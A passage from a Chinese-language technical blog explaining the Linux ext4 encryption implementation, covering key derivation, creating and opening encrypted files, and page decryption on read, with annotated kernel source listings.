Encryption根目录下的任何地方新建目录/文件时完成i_flags设置),若是则表明需要进行EXT4 Encryption;接着读取新文件所在目录,即其父目录的xattr属性获取到ext4_encryption_context,再为新文件生成新的nonce,将nonce替换父目录的ext4_encryption_context中的nonce生成用于新文件的ext4_encryption_context并保存到新文件对应inode的xattr中;然后用ext4_encryption_context中的master key descriptor匹配到keyring中的master key,将ext4_encryption_context中的nonce做为密钥对master key进行AES-128-ECB加密,得到derived key;最后使用derived key和AES-256-XTS初始化kernel crypto API,将初始化好的tfm保存到 ext4_crypt_info 的ci_ctfm成员中,再将ext4_crypt_info保存到ext4_inode_info的i_crypt_info,后续对新文件进行读写操作时直接取出ci_ctfm做具体的加/解密即可。</p><center>  图五 creat和open file函数调用关系</center><center>  图六 ext4_create函数调用关系</center><p>  具体到图六中ext4_create函数调用关系中各个要点函数,完成的功能如下:<br>● ext4_encrypted_inode()判断文件父目录的inode的i_flags是否已经被设置了EXT4_INODE_ENCRYPT属性<br>● ext4_get_encryption_info()读取父目录的xattr属性获取到ext4_encryption_context,并为父目录生成derived key,初始化好tfm并保存到其ext4_inode_info的i_crypt_info<br>● ext4_encryption_info()确认父目录的ext4_inode_info的i_crypt_info已经初始化好<br>● ext4_inherit_context()为新文件创建ext4_encryption_context并保存到其xattr中,并为新文件生成derived key,初始化好tfm并保存到其ext4_inode_info的i_crypt_info<br>  从上可看到ext4_get_encryption_info()和ext4_inherit_context()是最关键的部分,其代码如清单八和清单九所示,代码较长,但强烈建议耐心读完。</p><h4 id="清单八-ext4-get-encryption-info函数"><a href="#清单八-ext4-get-encryption-info函数" class="headerlink" title="清单八 ext4_get_encryption_info函数"></a>清单八 ext4_get_encryption_info函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">ext4_get_encryption_info</span><span class="params">(struct inode *inode)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_inode_info</span> *<span class="title">ei</span> = <span class="title">EXT4_I</span>(<span class="title">inode</span>);</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypt_info</span> *<span class="title">crypt_info</span>;</span></span><br><span class="line"><span class="keyword">char</span> full_key_descriptor[EXT4_KEY_DESC_PREFIX_SIZE +</span><br><span class="line"> (EXT4_KEY_DESCRIPTOR_SIZE * <span class="number">2</span>) + <span class="number">1</span>];</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key</span> *<span class="title">keyring_key</span> = <span class="title">NULL</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_key</span> *<span class="title">master_key</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_context</span> <span class="title">ctx</span>;</span></span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">user_key_payload</span> *<span class="title">ukp</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ext4_sb_info</span> *<span class="title">sbi</span> = <span class="title">EXT4_SB</span>(<span class="title">inode</span>-><span class="title">i_sb</span>);</span> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">crypto_ablkcipher</span> *<span class="title">ctfm</span>;</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> *cipher_str;</span><br><span class="line"><span class="keyword">char</span> raw_key[EXT4_MAX_KEY_SIZE];</span><br><span class="line"><span class="keyword">char</span> mode;</span><br><span class="line"><span class="keyword">int</span> res;</span><br><span class="line"></span><br><span class="line"><span class="comment">//若ext4_inode_info中的i_crypt_info有值,说明先前已经初始化好</span></span><br><span class="line"><span class="keyword">if</span> (ei->i_crypt_info)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> (!ext4_read_workqueue) {</span><br><span class="line"><span class="comment">/*为readpage时解密初始化read_workqueue,为ext4_crypto_ctx预先创建128个</span></span><br><span class="line"><span class="comment">*cache,为writepage时用的bounce page创建内存池,为ext4_crypt_info创建slab</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">res = ext4_init_crypto();</span><br><span class="line"><span class="keyword">if</span> (res)</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*从xattr中读取加密模式、master key descriptor、nonce等加密相关信息到</span></span><br><span class="line"><span class="comment">*ext4_encryption_context</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">res = ext4_xattr_get(inode, EXT4_XATTR_INDEX_ENCRYPTION,</span><br><span class="line"> EXT4_XATTR_NAME_ENCRYPTION_CONTEXT,</span><br><span class="line"> &ctx, <span class="keyword">sizeof</span>(ctx));</span><br><span class="line"><span class="keyword">if</span> (res < <span class="number">0</span>) {</span><br><span class="line"><span class="keyword">if</span> (!DUMMY_ENCRYPTION_ENABLED(sbi))</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">ctx.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;</span><br><span class="line">ctx.filenames_encryption_mode =</span><br><span class="line">EXT4_ENCRYPTION_MODE_AES_256_CTS;</span><br><span class="line">ctx.flags = <span class="number">0</span>;</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (res != <span class="keyword">sizeof</span>(ctx))</span><br><span class="line"><span class="keyword">return</span> -EINVAL;</span><br><span class="line">res = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">crypt_info = kmem_cache_alloc(ext4_crypt_info_cachep, GFP_KERNEL);</span><br><span class="line"><span class="keyword">if</span> (!crypt_info)</span><br><span class="line"><span class="keyword">return</span> -ENOMEM;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//根据获取到的ext4_encryption_context内容初始化ext4_crypt_info</span></span><br><span class="line">crypt_info->ci_flags = ctx.flags;</span><br><span class="line">crypt_info->ci_data_mode = ctx.contents_encryption_mode;</span><br><span class="line">crypt_info->ci_filename_mode = ctx.filenames_encryption_mode;</span><br><span class="line">crypt_info->ci_ctfm = <span class="literal">NULL</span>;</span><br><span class="line"><span class="built_in">memcpy</span>(crypt_info->ci_master_key, ctx.master_key_descriptor,</span><br><span class="line"> <span class="keyword">sizeof</span>(crypt_info->ci_master_key));</span><br><span class="line"><span class="keyword">if</span> (S_ISREG(inode->i_mode))</span><br><span class="line">mode = crypt_info->ci_data_mode;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode))</span><br><span class="line">mode = crypt_info->ci_filename_mode;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">BUG();</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> (mode) {</span><br><span class="line"><span class="keyword">case</span> EXT4_ENCRYPTION_MODE_AES_256_XTS:</span><br><span class="line">cipher_str = <span class="string">"xts(aes)"</span>;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> EXT4_ENCRYPTION_MODE_AES_256_CTS:</span><br><span class="line">cipher_str = <span class="string">"cts(cbc(aes))"</span>;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">printk_once(KERN_WARNING</span><br><span class="line"> <span class="string">"ext4: unsupported key mode %d (ino %u)\n"</span>,</span><br><span class="line"> mode, (<span class="keyword">unsigned</span>) inode->i_ino);</span><br><span class="line">res = -ENOKEY;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (DUMMY_ENCRYPTION_ENABLED(sbi)) {</span><br><span class="line"><span class="built_in">memset</span>(raw_key, <span class="number">0x42</span>, EXT4_AES_256_XTS_KEY_SIZE);</span><br><span class="line"><span class="keyword">goto</span> got_key;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//实际使用时将master key descriptor加上”ext4:”的前缀用于匹配master key</span></span><br><span class="line"><span class="built_in">memcpy</span>(full_key_descriptor, EXT4_KEY_DESC_PREFIX,</span><br><span class="line"> EXT4_KEY_DESC_PREFIX_SIZE);</span><br><span class="line"><span class="built_in">sprintf</span>(full_key_descriptor + EXT4_KEY_DESC_PREFIX_SIZE,</span><br><span class="line"><span class="string">"%*phN"</span>, EXT4_KEY_DESCRIPTOR_SIZE,</span><br><span class="line">ctx.master_key_descriptor);</span><br><span class="line">full_key_descriptor[EXT4_KEY_DESC_PREFIX_SIZE +</span><br><span class="line"> (<span class="number">2</span> * EXT4_KEY_DESCRIPTOR_SIZE)] = <span class="string">'\0'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//使用master key descriptor为匹配条件向keyring申请master key</span></span><br><span class="line">keyring_key = request_key(&key_type_logon, full_key_descriptor, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (IS_ERR(keyring_key)) {</span><br><span class="line">res = PTR_ERR(keyring_key);</span><br><span class="line">keyring_key = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//确保master key的type是logon类型,防止应用程序读取到key的内容</span></span><br><span class="line"><span class="keyword">if</span> (keyring_key->type != &key_type_logon) {</span><br><span class="line">printk_once(KERN_WARNING</span><br><span class="line"> <span class="string">"ext4: key type must be logon\n"</span>);</span><br><span class="line">res = -ENOKEY;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">down_read(&keyring_key->sem);</span><br><span class="line"><span class="comment">//从keyring中取出master key的payload</span></span><br><span class="line">ukp = user_key_payload(keyring_key);</span><br><span class="line"><span class="keyword">if</span> (ukp->datalen != <span class="keyword">sizeof</span>(struct ext4_encryption_key)) {</span><br><span class="line">res = -EINVAL;</span><br><span class="line">up_read(&keyring_key->sem);</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//取出master key的有效数据ext4_encryption_key</span></span><br><span class="line">master_key = (struct ext4_encryption_key *)ukp->data;</span><br><span class="line">BUILD_BUG_ON(EXT4_AES_128_ECB_KEY_SIZE !=</span><br><span class="line"> EXT4_KEY_DERIVATION_NONCE_SIZE);</span><br><span class="line"><span class="keyword">if</span> (master_key-><span class="built_in">size</span> != EXT4_AES_256_XTS_KEY_SIZE) {</span><br><span class="line">printk_once(KERN_WARNING</span><br><span class="line"> <span class="string">"ext4: key size incorrect: %d\n"</span>,</span><br><span class="line"> master_key-><span class="built_in">size</span>);</span><br><span class="line">res = -ENOKEY;</span><br><span class="line">up_read(&keyring_key->sem);</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*以nonce做为密钥,采用AES_128_ECB算法,利用kernel crypto API加密master</span></span><br><span class="line"><span class="comment">* key(master_key->raw),生成derived key保存在raw_key里</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">res = ext4_derive_key_aes(ctx.nonce, master_key->raw,</span><br><span class="line"> raw_key);</span><br><span class="line">up_read(&keyring_key->sem);</span><br><span class="line"><span class="keyword">if</span> (res)</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">got_key:</span><br><span class="line"><span class="comment">//为AES_256_XTS加密算法申请tfm</span></span><br><span class="line">ctfm = crypto_alloc_ablkcipher(cipher_str, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!ctfm || IS_ERR(ctfm)) {</span><br><span class="line">res = ctfm ? PTR_ERR(ctfm) : -ENOMEM;</span><br><span class="line">printk(KERN_DEBUG</span><br><span class="line"> <span class="string">"%s: error %d (inode %u) allocating crypto tfm\n"</span>,</span><br><span class="line"> __func__, res, (<span class="keyword">unsigned</span>) inode->i_ino);</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line">crypt_info->ci_ctfm = ctfm;</span><br><span class="line">crypto_ablkcipher_clear_flags(ctfm, ~<span class="number">0</span>);</span><br><span class="line">crypto_tfm_set_flags(crypto_ablkcipher_tfm(ctfm),</span><br><span class="line"> CRYPTO_TFM_REQ_WEAK_KEY);</span><br><span class="line"></span><br><span class="line"><span class="comment">//向kernel crypto接口里设置加密用的key为derived key</span></span><br><span class="line">res = crypto_ablkcipher_setkey(ctfm, raw_key,</span><br><span class="line"> ext4_encryption_key_size(mode));</span><br><span class="line"><span class="keyword">if</span> (res)</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*将初始化好的ext4_crypt_info 实例crypt_info拷贝到inode的ext4_inode_info 的*i_crypt_info。</span></span><br><span class="line"><span class="comment">*后续加/解密文件内容时直接取出ext4_inode_info的i_crypt_info,即可从中获取</span></span><br><span class="line"><span class="comment">*到已经初始化好的tfm接口c_ctfm,用其直接加/解密</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">if</span> (cmpxchg(&ei->i_crypt_info, <span class="literal">NULL</span>, crypt_info) == <span class="literal">NULL</span>)</span><br><span class="line">crypt_info = <span class="literal">NULL</span>;</span><br><span class="line">out:</span><br><span class="line"><span class="keyword">if</span> (res == -ENOKEY)</span><br><span class="line">res = <span class="number">0</span>;</span><br><span class="line">key_put(keyring_key);</span><br><span class="line">ext4_free_crypt_info(crypt_info);</span><br><span class="line">memzero_explicit(raw_key, <span class="keyword">sizeof</span>(raw_key));</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">}</span><br><span class="line">`</span><br></pre></td></tr></table></figure><h4 id="清单九-ext4-inherit-context函数"><a href="#清单九-ext4-inherit-context函数" class="headerlink" title="清单九 ext4_inherit_context函数"></a>清单九 ext4_inherit_context函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">ext4_inherit_context</span><span class="params">(struct inode *parent, struct inode *child)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_context</span> <span class="title">ctx</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypt_info</span> *<span class="title">ci</span>;</span></span><br><span class="line"><span class="keyword">int</span> res;</span><br><span class="line"></span><br><span class="line"><span class="comment">//确保其父目录inode对应的i_crypt_info已经初始化好</span></span><br><span class="line">res = ext4_get_encryption_info(parent);</span><br><span class="line"><span class="keyword">if</span> (res < <span class="number">0</span>)</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取父目录的保存在i_crypt_info的ext4_crypt_info信息</span></span><br><span class="line">ci = EXT4_I(parent)->i_crypt_info;</span><br><span class="line"><span class="keyword">if</span> (ci == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> -ENOKEY;</span><br><span class="line">ctx.format = EXT4_ENCRYPTION_CONTEXT_FORMAT_V1;</span><br><span class="line"><span class="keyword">if</span> (DUMMY_ENCRYPTION_ENABLED(EXT4_SB(parent->i_sb))) {</span><br><span class="line">ctx.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;</span><br><span class="line">ctx.filenames_encryption_mode =</span><br><span class="line">EXT4_ENCRYPTION_MODE_AES_256_CTS;</span><br><span class="line">ctx.flags = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">memset</span>(ctx.master_key_descriptor, <span class="number">0x42</span>,</span><br><span class="line"> EXT4_KEY_DESCRIPTOR_SIZE);</span><br><span class="line">res = <span class="number">0</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="comment">/*使用父目录的文件内容加密模式、文件名加密模式、master key descriptor、flags</span></span><br><span class="line"><span class="comment">*初始化新文件的ext4_encryption_context</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">ctx.contents_encryption_mode = ci->ci_data_mode;</span><br><span class="line">ctx.filenames_encryption_mode = ci->ci_filename_mode;</span><br><span class="line">ctx.flags = ci->ci_flags;</span><br><span class="line"><span class="built_in">memcpy</span>(ctx.master_key_descriptor, ci->ci_master_key,</span><br><span class="line"> EXT4_KEY_DESCRIPTOR_SIZE);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//产生16 bytes的随机数做为新文件的nonce</span></span><br><span class="line">get_random_bytes(ctx.nonce, EXT4_KEY_DERIVATION_NONCE_SIZE);</span><br><span class="line"></span><br><span class="line"><span class="comment">//将初始化好的新文件的ext4_encryption_context保存到attr中</span></span><br><span class="line">res = ext4_xattr_set(child, EXT4_XATTR_INDEX_ENCRYPTION,</span><br><span class="line"> EXT4_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx,</span><br><span class="line"> <span class="keyword">sizeof</span>(ctx), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!res) {</span><br><span class="line"><span class="comment">//设置新文件的inode的i_flags为EXT4_INODE_ENCRYPT</span></span><br><span class="line">ext4_set_inode_flag(child, EXT4_INODE_ENCRYPT);</span><br><span class="line">ext4_clear_inode_state(child, EXT4_STATE_MAY_INLINE_DATA);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*为新文件初始化好其inode对应的i_crypt_info,主要是完成其tfm的初始化</span></span><br><span class="line"><span class="comment">*为后续的读写文件时调用kernel crypto进行加/解密做好准备</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">res = ext4_get_encryption_info(child);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">}</span><br><span class="line">`</span><br></pre></td></tr></table></figure><p>  简单的说,creat时完成两件事:一是创建ext4_encryption_context保存到文件的xattr;二是初始化好ext4_crypt_info 保存到inode的i_crypt_info,后续使用时取出tfm,利用kernel crypto API即完成了加/解密工作。</p><h3 id="open-file流程-回页首"><a href="#open-file流程-回页首" class="headerlink" title="open file流程 回页首"></a>open file流程 <a href="#top">回页首</a></h3><p><span id="EXT4-Encryption-file-open"></span></p><p>  这里open file特指打开已存在的EXT4 Encryption加密文件。仅加密部分而言,该过程相比creat少了创建ext4_encryption_context保存到文件的xattr的操作,其余部分基本一致。从应用程序调用open()函数开始到最终调用到ext4_file_open()函数的函数调用关系如上图五所示。本节主要描述ext4_file_open()函数,其函数调用关系如图七。</p><center>  图七 ext4\_file\_open函数调用关系</center><p>图七所示各函数主要完成的功能如下:<br>● ext4_encrypted_inode() 判断欲打开文件对应inode的i_flags是否设置成EXT4_INODE_ENCRYPT,若是,表明是加密文件<br>● ext4_get_encryption_info() 从文件inode的xattr取出文件加密算法、文件名加密算法、master key descriptor、 随机密钥nonce;之后生成加密文件内容使用的密钥derived key并初始化好kernel crypto接口tfm,将其以ext4_crypt_info 形式保存到inode的i_crypt_info。详细代码见清单八<br>● ext4_encryption_info()确保文件对应inode在内存中的表示ext4_inode_info中的i_crypt_info已经做好初始化<br>● ext4_encrypted_inode(dir)判断判断欲打开文件的父目录inode的i_flags是否设置成EXT4_INODE_ENCRYPT<br>● ext4_is_child_context_consistent_with_parent()判断文件和其父目录的加密context是否一致,关键是master key descriptor是否一致<br>● dquost_file_open() 调用通用的文件打开函数完成其余的操作<br>  简单的说就是在open file的时候完成文件加/解密所需的所有context。</p><h3 id="read-file流程-回页首"><a href="#read-file流程-回页首" class="headerlink" title="read file流程 回页首"></a>read file流程 <a href="#top">回页首</a></h3><p><span id="EXT4-Encryption-file-read"></span></p><p>  加密文件的解密工作主要是在read的时候进行。正常的Linux read支持Buffered I/O和Direct I/O两种模式,Buffered I/O利用内核的page cache机制,而Direct I/O需要应用程序自身准备和处理cache,当前版本的EXT4 Encryption不支持Direct I/O,其文件内容解密工作都在page cache中完成。自应用程序发起read操作到kernel对文件内容进行解密的函数调用关系如图八所示。</p><center>  图八 read 加密文件的函数调用关系</center><p>  ext4 文件读的主要实现在ext4_readpage函数,文件内容的AES-256-XTS解密理所当然也在该函数里,这里主要介绍文件内容解密部分,其函数调用关系如图九所示。ext4 读写通过bio进行封装,描述块数据传送时怎样进行填充或读取块给driver,包括描述磁盘和内存的位置,其内部有一个函数指针bi_end_io,当读取完成时会回调该函数,如图九所示,ext4将bi_end_io赋值为mpage_end_io。mpage_end_io通过queue_work的形式调用completion_pages函数,在该函数中再调用ext4_decrypt函数完成page的解密。ext4_decrypt函数的代码非常简单,如清单十所示。核心的加密和解密函数都在ext4_page_crypto()中完成,因为在open file的时候已经初始化好了kernel crypto接口,所以这里主要传入表明是加密还是解密的参数以及密文页和明文页地址,代码比较简单,如清单十一所示。</p><center>  图九 ext4_readpage函数调用关系</center><h4 id="清单十-ext4-decrypt函数"><a href="#清单十-ext4-decrypt函数" class="headerlink" title="清单十 ext4_decrypt函数"></a>清单十 ext4_decrypt函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">ext4_decrypt</span><span class="params">(struct page *page)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">BUG_ON(!PageLocked(page));</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> ext4_page_crypto(page->mapping->host, EXT4_DECRYPT,</span><br><span class="line">page->index, page, page, GFP_NOFS);</span><br><span class="line">}</span><br><span class="line">`</span><br></pre></td></tr></table></figure><h4 id="清单十一-ext4-page-crypto-函数"><a href="#清单十一-ext4-page-crypto-函数" class="headerlink" title="清单十一 ext4_page_crypto 函数"></a>清单十一 ext4_page_crypto 函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">ext4_page_crypto</span><span class="params">(struct inode *inode, <span class="keyword">ext4_direction_t</span> rw, <span class="keyword">pgoff_t</span> index, struct page *src_page,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct page *dest_page, <span class="keyword">gfp_t</span> gfp_flags)</span> </span>{</span><br><span class="line">u8 xts_tweak[EXT4_XTS_TWEAK_SIZE];</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ablkcipher_request</span> *<span class="title">req</span> = <span class="title">NULL</span>;</span></span><br><span class="line">DECLARE_EXT4_COMPLETION_RESULT(ecr);</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">scatterlist</span> <span class="title">dst</span>, <span class="title">src</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypt_info</span> *<span class="title">ci</span> = <span class="title">EXT4_I</span>(<span class="title">inode</span>)-><span class="title">i_crypt_info</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">crypto_ablkcipher</span> *<span class="title">tfm</span> = <span class="title">ci</span>-><span class="title">ci_ctfm</span>;</span> <span class="comment">//取出open时初始化好的tfm</span></span><br><span class="line"><span class="keyword">int</span> res = <span class="number">0</span>;</span><br><span class="line">req = ablkcipher_request_alloc(tfm, gfp_flags);</span><br><span class="line"><span class="keyword">if</span> (!req) {</span><br><span class="line">printk_ratelimited(KERN_ERR <span class="string">"%s: crypto_request_alloc() failed\n"</span>, __func__);</span><br><span class="line"><span class="keyword">return</span> -ENOMEM;</span><br><span class="line">}</span><br><span class="line">ablkcipher_request_set_callback(</span><br><span class="line">req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP,</span><br><span class="line">ext4_crypt_complete, &ecr);</span><br><span 